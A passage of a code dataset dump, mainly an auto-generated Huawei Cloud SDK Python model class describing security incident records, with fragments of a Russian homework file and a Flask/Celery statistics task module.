все уникальные\r\nзнаки препинания, которые есть в тексте. Например: { \"0\": количество пробелов в строке \"1\": list слов из одной буквы\r\n\"2\": list слов из двух букв \"3\": list слов из трех букв и т.д ... \"punctuation\" : tuple уникальных знаков препинания\r\n}\"\"\"\r\n","sub_path":"Homework5_Korotnian_pavel.py","file_name":"Homework5_Korotnian_pavel.py","file_ext":"py","file_size_in_byte":3558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"223058777","text":"# coding: utf-8\n\nimport six\n\nfrom huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization\n\n\nclass ShowIncident:\n\n \"\"\"\n Attributes:\n openapi_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n sensitive_list = []\n\n openapi_types = {\n 'version': 'str',\n 'environment': 'IncidentEnvironment',\n 'datasource': 'IncidentDatasource',\n 'first_observed_time': 'str',\n 'last_observed_time': 'str',\n 'create_time': 'str',\n 'arrive_time': 'str',\n 'title': 'str',\n 'description': 'str',\n 'source_url': 'str',\n 'count': 'str',\n 'confidence': 'int',\n 'serverity': 'str',\n 'criticality': 'int',\n 'incident_type': 'object',\n 'network_list': 'list[CreateIncidentNetworkList]',\n 'resource_list': 'list[CreateIncidentResourceList]',\n 'remediation': 'ShowAlertRspRemediation',\n 'verification_state': 'str',\n 'handle_status': 'str',\n 'sla': 'int',\n 'update_time': 'str',\n 'close_time': 'str',\n 'chop_phase': 'str',\n 'ipdrr_phase': 'str',\n 'ppdr_phase': 'str',\n 'simulation': 'str',\n 'actor': 'str',\n 'owner': 'str',\n 'cteator': 'str',\n 'close_reason': 'str',\n 'close_comment': 'str',\n 'malware': 'CreateIncidentMalware',\n 'system_info': 'object',\n 'process': 'list[CreateIncidentProcess]',\n 'user_info': 'list[CreateIncidentUserInfo]',\n 'file_info': 'list[ShowAlertRspFileInfo]',\n 'system_incident_table': 'object',\n 'id': 'str',\n 'workspace_id': 'str'\n }\n\n attribute_map = {\n 'version': 'version',\n 'environment': 'environment',\n 'datasource': 'datasource',\n 'first_observed_time': 'first_observed_time',\n 'last_observed_time': 'last_observed_time',\n 'create_time': 'create_time',\n 'arrive_time': 'arrive_time',\n 'title': 'title',\n 'description': 'description',\n 'source_url': 'source_url',\n 'count': 'count',\n 'confidence': 'confidence',\n 'serverity': 'serverity',\n 'criticality': 'criticality',\n 'incident_type': 'incident_type',\n 'network_list': 'network_list',\n 'resource_list': 'resource_list',\n 'remediation': 'remediation',\n 'verification_state': 'verification_state',\n 'handle_status': 'handle_status',\n 'sla': 'sla',\n 'update_time': 'update_time',\n 'close_time': 'close_time',\n 'chop_phase': 'chop_phase',\n 'ipdrr_phase': 'ipdrr_phase',\n 'ppdr_phase': 'ppdr_phase',\n 'simulation': 'simulation',\n 'actor': 'actor',\n 'owner': 'owner',\n 'cteator': 'cteator',\n 'close_reason': 'close_reason',\n 'close_comment': 'close_comment',\n 'malware': 'malware',\n 'system_info': 'system_info',\n 'process': 'process',\n 'user_info': 'user_info',\n 'file_info': 'file_info',\n 'system_incident_table': 'system_incident_table',\n 'id': 'id',\n 'workspace_id': 'workspace_id'\n }\n\n def __init__(self, version=None, environment=None, datasource=None, first_observed_time=None, last_observed_time=None, create_time=None, arrive_time=None, title=None, description=None, source_url=None, count=None, confidence=None, serverity=None, criticality=None, incident_type=None, network_list=None, resource_list=None, remediation=None, verification_state=None, handle_status=None, sla=None, update_time=None, close_time=None, chop_phase=None, ipdrr_phase=None, ppdr_phase=None, simulation=None, actor=None, owner=None, cteator=None, close_reason=None, close_comment=None, malware=None, system_info=None, process=None, user_info=None, file_info=None, system_incident_table=None, id=None, workspace_id=None):\n \"\"\"ShowIncident\n\n The model defined in huaweicloud sdk\n\n :param version: 版本\n :type version: str\n :param environment: \n :type environment: :class:`huaweicloudsdksecmaster.v2.IncidentEnvironment`\n :param datasource: \n :type datasource: :class:`huaweicloudsdksecmaster.v2.IncidentDatasource`\n :param first_observed_time: Update time\n :type first_observed_time: str\n :param last_observed_time: Update time\n :type last_observed_time: str\n :param create_time: Create time\n :type create_time: str\n :param arrive_time: Update time\n :type arrive_time: str\n :param title: The name, display only\n :type title: str\n :param description: The description, display only\n :type description: str\n :param source_url: 事件URL链接\n :type source_url: str\n :param count: 事件发生次数\n :type count: str\n :param confidence: 置信度\n :type confidence: int\n :param serverity: 严重性等级\n :type serverity: str\n :param criticality: 关键性，是指事件涉及的资源的重要性级别。\n :type criticality: int\n :param incident_type: 事件分类\n :type incident_type: object\n :param network_list: network_list\n :type network_list: list[:class:`huaweicloudsdksecmaster.v2.CreateIncidentNetworkList`]\n :param resource_list: network_list\n :type resource_list: list[:class:`huaweicloudsdksecmaster.v2.CreateIncidentResourceList`]\n :param remediation: \n :type remediation: :class:`huaweicloudsdksecmaster.v2.ShowAlertRspRemediation`\n :param verification_state: 验证状态\n :type verification_state: str\n :param handle_status: 事件处理状态\n :type handle_status: str\n :param sla: sla\n :type sla: int\n :param update_time: Create time\n :type update_time: str\n :param close_time: Create time\n :type close_time: str\n :param chop_phase: 周期/处置阶段编号\n :type chop_phase: str\n :param ipdrr_phase: 周期/处置阶段编号\n :type ipdrr_phase: str\n :param ppdr_phase: 周期/处置阶段编号\n :type ppdr_phase: str\n :param simulation: 是否为调试事件.\n :type simulation: str\n :param actor: 委托人\n :type actor: str\n :param owner: The name, display only\n :type owner: str\n :param cteator: The name, display only\n :type cteator: str\n :param close_reason: 关闭原因\n :type close_reason: str\n :param close_comment: 关闭原因\n :type close_comment: str\n :param malware: \n :type malware: :class:`huaweicloudsdksecmaster.v2.CreateIncidentMalware`\n :param system_info: 系统信息\n :type system_info: object\n :param process: 进程信息\n :type process: list[:class:`huaweicloudsdksecmaster.v2.CreateIncidentProcess`]\n :param user_info: 用户信息\n :type user_info: list[:class:`huaweicloudsdksecmaster.v2.CreateIncidentUserInfo`]\n :param file_info: 文件信息\n :type file_info: list[:class:`huaweicloudsdksecmaster.v2.ShowAlertRspFileInfo`]\n :param system_incident_table: 系统信息\n :type system_incident_table: object\n :param id: Id value\n :type id: str\n :param workspace_id: workspace id\n :type workspace_id: str\n \"\"\"\n \n \n\n self._version = None\n self._environment = None\n self._datasource = None\n self._first_observed_time = None\n self._last_observed_time = None\n self._create_time = None\n self._arrive_time = None\n self._title = None\n self._description = None\n self._source_url = None\n self._count = None\n self._confidence = None\n self._serverity = None\n self._criticality = None\n self._incident_type = None\n self._network_list = None\n self._resource_list = None\n self._remediation = None\n self._verification_state = None\n self._handle_status = None\n self._sla = None\n self._update_time = None\n self._close_time = None\n self._chop_phase = None\n self._ipdrr_phase = None\n self._ppdr_phase = None\n self._simulation = None\n self._actor = None\n self._owner = None\n self._cteator = None\n self._close_reason = None\n self._close_comment = None\n self._malware = None\n self._system_info = None\n self._process = None\n self._user_info = None\n self._file_info = None\n self._system_incident_table = None\n self._id = None\n self._workspace_id = None\n self.discriminator = None\n\n if version is not None:\n self.version = version\n if environment is not None:\n self.environment = environment\n if datasource is not None:\n self.datasource = datasource\n if first_observed_time is not None:\n self.first_observed_time = first_observed_time\n if last_observed_time is not None:\n self.last_observed_time = last_observed_time\n if create_time is not None:\n self.create_time = create_time\n if arrive_time is not None:\n self.arrive_time = arrive_time\n if title is not None:\n self.title = title\n if description is not None:\n self.description = description\n if source_url is not None:\n self.source_url = source_url\n if count is not None:\n self.count = count\n if confidence is not None:\n self.confidence = confidence\n if serverity is not None:\n self.serverity = serverity\n if criticality is not None:\n self.criticality = criticality\n if incident_type is not None:\n self.incident_type = incident_type\n if network_list is not None:\n self.network_list = network_list\n if resource_list is not None:\n self.resource_list = resource_list\n if remediation is not None:\n self.remediation = remediation\n if verification_state is not None:\n self.verification_state = verification_state\n if handle_status is not None:\n self.handle_status = handle_status\n if sla is not None:\n self.sla = sla\n if update_time is not None:\n self.update_time = update_time\n if close_time is not None:\n self.close_time = close_time\n if chop_phase is not None:\n self.chop_phase = chop_phase\n if ipdrr_phase is not None:\n self.ipdrr_phase = ipdrr_phase\n if ppdr_phase is not None:\n self.ppdr_phase = ppdr_phase\n if simulation is not None:\n self.simulation = simulation\n if actor is not None:\n self.actor = actor\n if owner is not None:\n self.owner = owner\n if cteator is not None:\n self.cteator = cteator\n if close_reason is not None:\n self.close_reason = close_reason\n if close_comment is not None:\n self.close_comment = close_comment\n if malware is not None:\n self.malware = malware\n if system_info is not None:\n self.system_info = system_info\n if process is not None:\n self.process = process\n if user_info is not None:\n self.user_info = user_info\n if file_info is not None:\n self.file_info = file_info\n if system_incident_table is not None:\n self.system_incident_table = system_incident_table\n if id is not None:\n self.id = id\n if workspace_id is not None:\n self.workspace_id = workspace_id\n\n @property\n def version(self):\n \"\"\"Gets the version of this ShowIncident.\n\n 版本\n\n :return: The version of this ShowIncident.\n :rtype: str\n \"\"\"\n return self._version\n\n @version.setter\n def version(self, version):\n \"\"\"Sets the version of this ShowIncident.\n\n 版本\n\n :param version: The version of this ShowIncident.\n :type version: str\n \"\"\"\n self._version = version\n\n @property\n def environment(self):\n \"\"\"Gets the environment of this ShowIncident.\n\n :return: The environment of this ShowIncident.\n :rtype: :class:`huaweicloudsdksecmaster.v2.IncidentEnvironment`\n \"\"\"\n return self._environment\n\n @environment.setter\n def environment(self, environment):\n \"\"\"Sets the environment of this ShowIncident.\n\n :param environment: The environment of this ShowIncident.\n :type environment: :class:`huaweicloudsdksecmaster.v2.IncidentEnvironment`\n \"\"\"\n self._environment = environment\n\n @property\n def datasource(self):\n \"\"\"Gets the datasource of this ShowIncident.\n\n :return: The datasource of this ShowIncident.\n :rtype: :class:`huaweicloudsdksecmaster.v2.IncidentDatasource`\n \"\"\"\n return self._datasource\n\n @datasource.setter\n def datasource(self, datasource):\n \"\"\"Sets the datasource of this ShowIncident.\n\n :param datasource: The datasource of this ShowIncident.\n :type datasource: :class:`huaweicloudsdksecmaster.v2.IncidentDatasource`\n \"\"\"\n self._datasource = datasource\n\n @property\n def first_observed_time(self):\n \"\"\"Gets the first_observed_time of this ShowIncident.\n\n Update time\n\n :return: The first_observed_time of this ShowIncident.\n :rtype: str\n \"\"\"\n return self._first_observed_time\n\n @first_observed_time.setter\n def first_observed_time(self, first_observed_time):\n \"\"\"Sets the first_observed_time of this ShowIncident.\n\n Update time\n\n :param first_observed_time: The first_observed_time of this ShowIncident.\n :type first_observed_time: str\n \"\"\"\n self._first_observed_time = first_observed_time\n\n @property\n def last_observed_time(self):\n \"\"\"Gets the last_observed_time of this ShowIncident.\n\n Update time\n\n :return: The last_observed_time of this ShowIncident.\n :rtype: str\n \"\"\"\n return self._last_observed_time\n\n @last_observed_time.setter\n def last_observed_time(self, last_observed_time):\n \"\"\"Sets the last_observed_time of this ShowIncident.\n\n Update time\n\n :param last_observed_time: The last_observed_time of this ShowIncident.\n :type last_observed_time: str\n \"\"\"\n self._last_observed_time = last_observed_time\n\n @property\n def create_time(self):\n \"\"\"Gets the create_time of this ShowIncident.\n\n Create time\n\n :return: The create_time of this ShowIncident.\n :rtype: str\n \"\"\"\n return self._create_time\n\n @create_time.setter\n def create_time(self, create_time):\n \"\"\"Sets the create_time of this ShowIncident.\n\n Create time\n\n :param create_time: The create_time of this ShowIncident.\n :type create_time: str\n \"\"\"\n self._create_time = create_time\n\n @property\n def arrive_time(self):\n \"\"\"Gets the arrive_time of this ShowIncident.\n\n Update time\n\n :return: The arrive_time of this ShowIncident.\n :rtype: str\n \"\"\"\n return self._arrive_time\n\n @arrive_time.setter\n def arrive_time(self, arrive_time):\n \"\"\"Sets the arrive_time of this ShowIncident.\n\n Update time\n\n :param arrive_time: The arrive_time of this ShowIncident.\n :type arrive_time: str\n \"\"\"\n self._arrive_time = arrive_time\n\n @property\n def title(self):\n \"\"\"Gets the title of this ShowIncident.\n\n The name, display only\n\n :return: The title of this ShowIncident.\n :rtype: str\n \"\"\"\n return self._title\n\n @title.setter\n def title(self, title):\n \"\"\"Sets the title of this ShowIncident.\n\n The name, display only\n\n :param title: The title of this ShowIncident.\n :type title: str\n \"\"\"\n self._title = title\n\n @property\n def description(self):\n \"\"\"Gets the description of this ShowIncident.\n\n The description, display only\n\n :return: The description of this ShowIncident.\n :rtype: str\n \"\"\"\n return self._description\n\n @description.setter\n def description(self, description):\n \"\"\"Sets the description of this ShowIncident.\n\n The description, display only\n\n :param description: The description of this ShowIncident.\n :type description: str\n \"\"\"\n self._description = description\n\n @property\n def source_url(self):\n \"\"\"Gets the source_url of this ShowIncident.\n\n 事件URL链接\n\n :return: The source_url of this ShowIncident.\n :rtype: str\n \"\"\"\n return self._source_url\n\n @source_url.setter\n def source_url(self, source_url):\n \"\"\"Sets the source_url of this ShowIncident.\n\n 事件URL链接\n\n :param source_url: The source_url of this ShowIncident.\n :type source_url: str\n \"\"\"\n self._source_url = source_url\n\n @property\n def count(self):\n \"\"\"Gets the count of this ShowIncident.\n\n 事件发生次数\n\n :return: The count of this ShowIncident.\n :rtype: str\n \"\"\"\n return self._count\n\n @count.setter\n def count(self, count):\n \"\"\"Sets the count of this ShowIncident.\n\n 事件发生次数\n\n :param count: The count of this ShowIncident.\n :type count: str\n \"\"\"\n self._count = count\n\n @property\n def confidence(self):\n \"\"\"Gets the confidence of this ShowIncident.\n\n 置信度\n\n :return: The confidence of this ShowIncident.\n :rtype: int\n \"\"\"\n return self._confidence\n\n @confidence.setter\n def confidence(self, confidence):\n \"\"\"Sets the confidence of this ShowIncident.\n\n 置信度\n\n :param confidence: The confidence of this ShowIncident.\n :type confidence: int\n \"\"\"\n self._confidence = confidence\n\n @property\n def serverity(self):\n \"\"\"Gets the serverity of this ShowIncident.\n\n 严重性等级\n\n :return: The serverity of this ShowIncident.\n :rtype: str\n \"\"\"\n return self._serverity\n\n @serverity.setter\n def serverity(self, serverity):\n \"\"\"Sets the serverity of this ShowIncident.\n\n 严重性等级\n\n :param serverity: The serverity of this ShowIncident.\n :type serverity: str\n \"\"\"\n self._serverity = serverity\n\n @property\n def criticality(self):\n \"\"\"Gets the criticality of this ShowIncident.\n\n 关键性，是指事件涉及的资源的重要性级别。\n\n :return: The criticality of this ShowIncident.\n :rtype: int\n \"\"\"\n return self._criticality\n\n @criticality.setter\n def criticality(self, criticality):\n \"\"\"Sets the criticality of this ShowIncident.\n\n 关键性，是指事件涉及的资源的重要性级别。\n\n :param criticality: The criticality of this ShowIncident.\n :type criticality: int\n \"\"\"\n self._criticality = criticality\n\n @property\n def incident_type(self):\n \"\"\"Gets the incident_type of this ShowIncident.\n\n 事件分类\n\n :return: The incident_type of this ShowIncident.\n :rtype: object\n \"\"\"\n return self._incident_type\n\n @incident_type.setter\n def incident_type(self, incident_type):\n \"\"\"Sets the incident_type of this ShowIncident.\n\n 事件分类\n\n :param incident_type: The incident_type of this ShowIncident.\n :type incident_type: object\n \"\"\"\n self._incident_type = incident_type\n\n @property\n def network_list(self):\n \"\"\"Gets the network_list of this ShowIncident.\n\n network_list\n\n :return: The network_list of this ShowIncident.\n :rtype: list[:class:`huaweicloudsdksecmaster.v2.CreateIncidentNetworkList`]\n \"\"\"\n return self._network_list\n\n @network_list.setter\n def network_list(self, network_list):\n \"\"\"Sets the network_list of this ShowIncident.\n\n network_list\n\n :param network_list: The network_list of this ShowIncident.\n :type network_list: list[:class:`huaweicloudsdksecmaster.v2.CreateIncidentNetworkList`]\n \"\"\"\n self._network_list = network_list\n\n @property\n def resource_list(self):\n \"\"\"Gets the resource_list of this ShowIncident.\n\n network_list\n\n :return: The resource_list of this ShowIncident.\n :rtype: list[:class:`huaweicloudsdksecmaster.v2.CreateIncidentResourceList`]\n \"\"\"\n return self._resource_list\n\n @resource_list.setter\n def resource_list(self, resource_list):\n \"\"\"Sets the resource_list of this ShowIncident.\n\n network_list\n\n :param resource_list: The resource_list of this ShowIncident.\n :type resource_list: list[:class:`huaweicloudsdksecmaster.v2.CreateIncidentResourceList`]\n \"\"\"\n self._resource_list = resource_list\n\n @property\n def remediation(self):\n \"\"\"Gets the remediation of this ShowIncident.\n\n :return: The remediation of this ShowIncident.\n :rtype: :class:`huaweicloudsdksecmaster.v2.ShowAlertRspRemediation`\n \"\"\"\n return self._remediation\n\n @remediation.setter\n def remediation(self, remediation):\n \"\"\"Sets the remediation of this ShowIncident.\n\n :param remediation: The remediation of this ShowIncident.\n :type remediation: :class:`huaweicloudsdksecmaster.v2.ShowAlertRspRemediation`\n \"\"\"\n self._remediation = remediation\n\n @property\n def verification_state(self):\n \"\"\"Gets the verification_state of this ShowIncident.\n\n 验证状态\n\n :return: The verification_state of this ShowIncident.\n :rtype: str\n \"\"\"\n return self._verification_state\n\n @verification_state.setter\n def verification_state(self, verification_state):\n \"\"\"Sets the verification_state of this ShowIncident.\n\n 验证状态\n\n :param verification_state: The verification_state of this ShowIncident.\n :type verification_state: str\n \"\"\"\n self._verification_state = verification_state\n\n @property\n def handle_status(self):\n \"\"\"Gets the handle_status of this ShowIncident.\n\n 事件处理状态\n\n :return: The handle_status of this ShowIncident.\n :rtype: str\n \"\"\"\n return self._handle_status\n\n @handle_status.setter\n def handle_status(self, handle_status):\n \"\"\"Sets the handle_status of this ShowIncident.\n\n 事件处理状态\n\n :param handle_status: The handle_status of this ShowIncident.\n :type handle_status: str\n \"\"\"\n self._handle_status = handle_status\n\n @property\n def sla(self):\n \"\"\"Gets the sla of this ShowIncident.\n\n sla\n\n :return: The sla of this ShowIncident.\n :rtype: int\n \"\"\"\n return self._sla\n\n @sla.setter\n def sla(self, sla):\n \"\"\"Sets the sla of this ShowIncident.\n\n sla\n\n :param sla: The sla of this ShowIncident.\n :type sla: int\n \"\"\"\n self._sla = sla\n\n @property\n def update_time(self):\n \"\"\"Gets the update_time of this ShowIncident.\n\n Create time\n\n :return: The update_time of this ShowIncident.\n :rtype: str\n \"\"\"\n return self._update_time\n\n @update_time.setter\n def update_time(self, update_time):\n \"\"\"Sets the update_time of this ShowIncident.\n\n Create time\n\n :param update_time: The update_time of this ShowIncident.\n :type update_time: str\n \"\"\"\n self._update_time = update_time\n\n @property\n def close_time(self):\n \"\"\"Gets the close_time of this ShowIncident.\n\n Create time\n\n :return: The close_time of this ShowIncident.\n :rtype: str\n \"\"\"\n return self._close_time\n\n @close_time.setter\n def close_time(self, close_time):\n \"\"\"Sets the close_time of this ShowIncident.\n\n Create time\n\n :param close_time: The close_time of this ShowIncident.\n :type close_time: str\n \"\"\"\n self._close_time = close_time\n\n @property\n def chop_phase(self):\n \"\"\"Gets the chop_phase of this ShowIncident.\n\n 周期/处置阶段编号\n\n :return: The chop_phase of this ShowIncident.\n :rtype: str\n \"\"\"\n return self._chop_phase\n\n @chop_phase.setter\n def chop_phase(self, chop_phase):\n \"\"\"Sets the chop_phase of this ShowIncident.\n\n 周期/处置阶段编号\n\n :param chop_phase: The chop_phase of this ShowIncident.\n :type chop_phase: str\n \"\"\"\n self._chop_phase = chop_phase\n\n @property\n def ipdrr_phase(self):\n \"\"\"Gets the ipdrr_phase of this ShowIncident.\n\n 周期/处置阶段编号\n\n :return: The ipdrr_phase of this ShowIncident.\n :rtype: str\n \"\"\"\n return self._ipdrr_phase\n\n @ipdrr_phase.setter\n def ipdrr_phase(self, ipdrr_phase):\n \"\"\"Sets the ipdrr_phase of this ShowIncident.\n\n 周期/处置阶段编号\n\n :param ipdrr_phase: The ipdrr_phase of this ShowIncident.\n :type ipdrr_phase: str\n \"\"\"\n self._ipdrr_phase = ipdrr_phase\n\n @property\n def ppdr_phase(self):\n \"\"\"Gets the ppdr_phase of this ShowIncident.\n\n 周期/处置阶段编号\n\n :return: The ppdr_phase of this ShowIncident.\n :rtype: str\n \"\"\"\n return self._ppdr_phase\n\n @ppdr_phase.setter\n def ppdr_phase(self, ppdr_phase):\n \"\"\"Sets the ppdr_phase of this ShowIncident.\n\n 周期/处置阶段编号\n\n :param ppdr_phase: The ppdr_phase of this ShowIncident.\n :type ppdr_phase: str\n \"\"\"\n self._ppdr_phase = ppdr_phase\n\n @property\n def simulation(self):\n \"\"\"Gets the simulation of this ShowIncident.\n\n 是否为调试事件.\n\n :return: The simulation of this ShowIncident.\n :rtype: str\n \"\"\"\n return self._simulation\n\n @simulation.setter\n def simulation(self, simulation):\n \"\"\"Sets the simulation of this ShowIncident.\n\n 是否为调试事件.\n\n :param simulation: The simulation of this ShowIncident.\n :type simulation: str\n \"\"\"\n self._simulation = simulation\n\n @property\n def actor(self):\n \"\"\"Gets the actor of this ShowIncident.\n\n 委托人\n\n :return: The actor of this ShowIncident.\n :rtype: str\n \"\"\"\n return self._actor\n\n @actor.setter\n def actor(self, actor):\n \"\"\"Sets the actor of this ShowIncident.\n\n 委托人\n\n :param actor: The actor of this ShowIncident.\n :type actor: str\n \"\"\"\n self._actor = actor\n\n @property\n def owner(self):\n \"\"\"Gets the owner of this ShowIncident.\n\n The name, display only\n\n :return: The owner of this ShowIncident.\n :rtype: str\n \"\"\"\n return self._owner\n\n @owner.setter\n def owner(self, owner):\n \"\"\"Sets the owner of this ShowIncident.\n\n The name, display only\n\n :param owner: The owner of this ShowIncident.\n :type owner: str\n \"\"\"\n self._owner = owner\n\n @property\n def cteator(self):\n \"\"\"Gets the cteator of this ShowIncident.\n\n The name, display only\n\n :return: The cteator of this ShowIncident.\n :rtype: str\n \"\"\"\n return self._cteator\n\n @cteator.setter\n def cteator(self, cteator):\n \"\"\"Sets the cteator of this ShowIncident.\n\n The name, display only\n\n :param cteator: The cteator of this ShowIncident.\n :type cteator: str\n \"\"\"\n self._cteator = cteator\n\n @property\n def close_reason(self):\n \"\"\"Gets the close_reason of this ShowIncident.\n\n 关闭原因\n\n :return: The close_reason of this ShowIncident.\n :rtype: str\n \"\"\"\n return self._close_reason\n\n @close_reason.setter\n def close_reason(self, close_reason):\n \"\"\"Sets the close_reason of this ShowIncident.\n\n 关闭原因\n\n :param close_reason: The close_reason of this ShowIncident.\n :type close_reason: str\n \"\"\"\n self._close_reason = close_reason\n\n @property\n def close_comment(self):\n \"\"\"Gets the close_comment of this ShowIncident.\n\n 关闭原因\n\n :return: The close_comment of this ShowIncident.\n :rtype: str\n \"\"\"\n return self._close_comment\n\n @close_comment.setter\n def close_comment(self, close_comment):\n \"\"\"Sets the close_comment of this ShowIncident.\n\n 关闭原因\n\n :param close_comment: The close_comment of this ShowIncident.\n :type close_comment: str\n \"\"\"\n self._close_comment = close_comment\n\n @property\n def malware(self):\n \"\"\"Gets the malware of this ShowIncident.\n\n :return: The malware of this ShowIncident.\n :rtype: :class:`huaweicloudsdksecmaster.v2.CreateIncidentMalware`\n \"\"\"\n return self._malware\n\n @malware.setter\n def malware(self, malware):\n \"\"\"Sets the malware of this ShowIncident.\n\n :param malware: The malware of this ShowIncident.\n :type malware: :class:`huaweicloudsdksecmaster.v2.CreateIncidentMalware`\n \"\"\"\n self._malware = malware\n\n @property\n def system_info(self):\n \"\"\"Gets the system_info of this ShowIncident.\n\n 系统信息\n\n :return: The system_info of this ShowIncident.\n :rtype: object\n \"\"\"\n return self._system_info\n\n @system_info.setter\n def system_info(self, system_info):\n \"\"\"Sets the system_info of this ShowIncident.\n\n 系统信息\n\n :param system_info: The system_info of this ShowIncident.\n :type system_info: object\n \"\"\"\n self._system_info = system_info\n\n @property\n def process(self):\n \"\"\"Gets the process of this ShowIncident.\n\n 进程信息\n\n :return: The process of this ShowIncident.\n :rtype: list[:class:`huaweicloudsdksecmaster.v2.CreateIncidentProcess`]\n \"\"\"\n return self._process\n\n @process.setter\n def process(self, process):\n \"\"\"Sets the process of this ShowIncident.\n\n 进程信息\n\n :param process: The process of this ShowIncident.\n :type process: list[:class:`huaweicloudsdksecmaster.v2.CreateIncidentProcess`]\n \"\"\"\n self._process = process\n\n @property\n def user_info(self):\n \"\"\"Gets the user_info of this ShowIncident.\n\n 用户信息\n\n :return: The user_info of this ShowIncident.\n :rtype: list[:class:`huaweicloudsdksecmaster.v2.CreateIncidentUserInfo`]\n \"\"\"\n return self._user_info\n\n @user_info.setter\n def user_info(self, user_info):\n \"\"\"Sets the user_info of this ShowIncident.\n\n 用户信息\n\n :param user_info: The user_info of this ShowIncident.\n :type user_info: list[:class:`huaweicloudsdksecmaster.v2.CreateIncidentUserInfo`]\n \"\"\"\n self._user_info = user_info\n\n @property\n def file_info(self):\n \"\"\"Gets the file_info of this ShowIncident.\n\n 文件信息\n\n :return: The file_info of this ShowIncident.\n :rtype: list[:class:`huaweicloudsdksecmaster.v2.ShowAlertRspFileInfo`]\n \"\"\"\n return self._file_info\n\n @file_info.setter\n def file_info(self, file_info):\n \"\"\"Sets the file_info of this ShowIncident.\n\n 文件信息\n\n :param file_info: The file_info of this ShowIncident.\n :type file_info: list[:class:`huaweicloudsdksecmaster.v2.ShowAlertRspFileInfo`]\n \"\"\"\n self._file_info = file_info\n\n @property\n def system_incident_table(self):\n \"\"\"Gets the system_incident_table of this ShowIncident.\n\n 系统信息\n\n :return: The system_incident_table of this ShowIncident.\n :rtype: object\n \"\"\"\n return self._system_incident_table\n\n @system_incident_table.setter\n def system_incident_table(self, system_incident_table):\n \"\"\"Sets the system_incident_table of this ShowIncident.\n\n 系统信息\n\n :param system_incident_table: The system_incident_table of this ShowIncident.\n :type system_incident_table: object\n \"\"\"\n self._system_incident_table = system_incident_table\n\n @property\n def id(self):\n \"\"\"Gets the id of this ShowIncident.\n\n Id value\n\n :return: The id of this ShowIncident.\n :rtype: str\n \"\"\"\n return self._id\n\n @id.setter\n def id(self, id):\n \"\"\"Sets the id of this ShowIncident.\n\n Id value\n\n :param id: The id of this ShowIncident.\n :type id: str\n \"\"\"\n self._id = id\n\n @property\n def workspace_id(self):\n \"\"\"Gets the workspace_id of this ShowIncident.\n\n workspace id\n\n :return: The workspace_id of this ShowIncident.\n :rtype: str\n \"\"\"\n return self._workspace_id\n\n @workspace_id.setter\n def workspace_id(self, workspace_id):\n \"\"\"Sets the workspace_id of this ShowIncident.\n\n workspace id\n\n :param workspace_id: The workspace_id of this ShowIncident.\n :type workspace_id: str\n \"\"\"\n self._workspace_id = workspace_id\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.openapi_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n if attr in self.sensitive_list:\n result[attr] = \"****\"\n else:\n result[attr] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n import simplejson as json\n if six.PY2:\n import sys\n reload(sys)\n sys.setdefaultencoding(\"utf-8\")\n return json.dumps(sanitize_for_serialization(self), ensure_ascii=False)\n\n def __repr__(self):\n \"\"\"For `print`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, ShowIncident):\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n","sub_path":"huaweicloud-sdk-secmaster/huaweicloudsdksecmaster/v2/model/show_incident.py","file_name":"show_incident.py","file_ext":"py","file_size_in_byte":35642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"366744216","text":"from collections import Counter\nimport time\nimport json\nfrom flask import g\n\nfrom . import celery, create_app, register_extensions\n# from flask import current_app, session\nfrom werkzeug.datastructures import MultiDict\n# from wowengine.frontend import events\n\nfrom flask import current_app, session\nfrom wowengine.frontend import events\n\nfrom .extensions import (\n banner_stats, line_stats, source_stats, db,\n active_items_stats, generation_stats, auction,\n redis, site_config, article_stats\n)\nfrom wowengine.config import config\nfrom wowengine.models import Banner, Source, Line, NewsItem, Tag, Item\nfrom celery.utils.log import get_task_logger\n\napp = create_app()\n\nlogger = get_task_logger(__name__)\n\n@celery.app.task\ndef sync_items_stats():\n with app.app_context():\n task_stats = Counter()\n defaults = {'show': 0, 'click': 0}\n for model, module in ((Banner, banner_stats), (Line, line_stats)):\n today_stats = module.get_for_today()\n # for item in model.query.filter(model.id.in_(today_stats.keys())).all():\n for item in model.query.all():\n shows = today_stats.get(item.id, defaults)['show']\n clicks = today_stats.get(item.id, defaults)['click']\n\n if item.shows != shows or item.clicks != clicks:\n task_stats['items'] += 1\n task_stats['shows'] += shows - item.shows\n task_stats['clicks'] += clicks - item.clicks\n\n item.shows = shows\n item.clicks = clicks\n\n logger.info(\n \"Stats for {items} updated, total {shows} shows and {clicks} clicks counted\"\n .format(**task_stats)\n )\n\n db.session.commit()\n\n\n@celery.app.task\ndef sync_active_items():\n \"\"\"Registers active banners/sources each 5 minutes.\"\"\"\n with app.app_context():\n active_items_stats.register_banners([\n banner.id for banner in Banner.query.filter(Banner.is_published)],\n ts=time.time())\n active_items_stats.register_sources([\n source.id for source in Source.get_all_active(time.time())],\n ts=time.time())\n\n\n@celery.app.task\ndef calc_daily_overall_price():\n with app.app_context():\n generation_stats.register_overall_daily_price(\n Source.get_overall_price_for_today())\n\n\n@celery.app.task\ndef update_caches_frequent():\n with app.app_context():\n g.flask_cache_forced_update = True\n\n sources = Source.list_of_all_source_id()\n Line.fetch_random_active(sources)\n\n\n@celery.app.task\ndef update_caches_normal():\n with app.app_context():\n g.flask_cache_forced_update = True\n\n random_item = NewsItem.query.limit(1)[0]\n\n Source.get_all_titles()\n Source.get_all_ids_in_rotation() # filters\n\n NewsItem.fetch_list_for_morda()\n 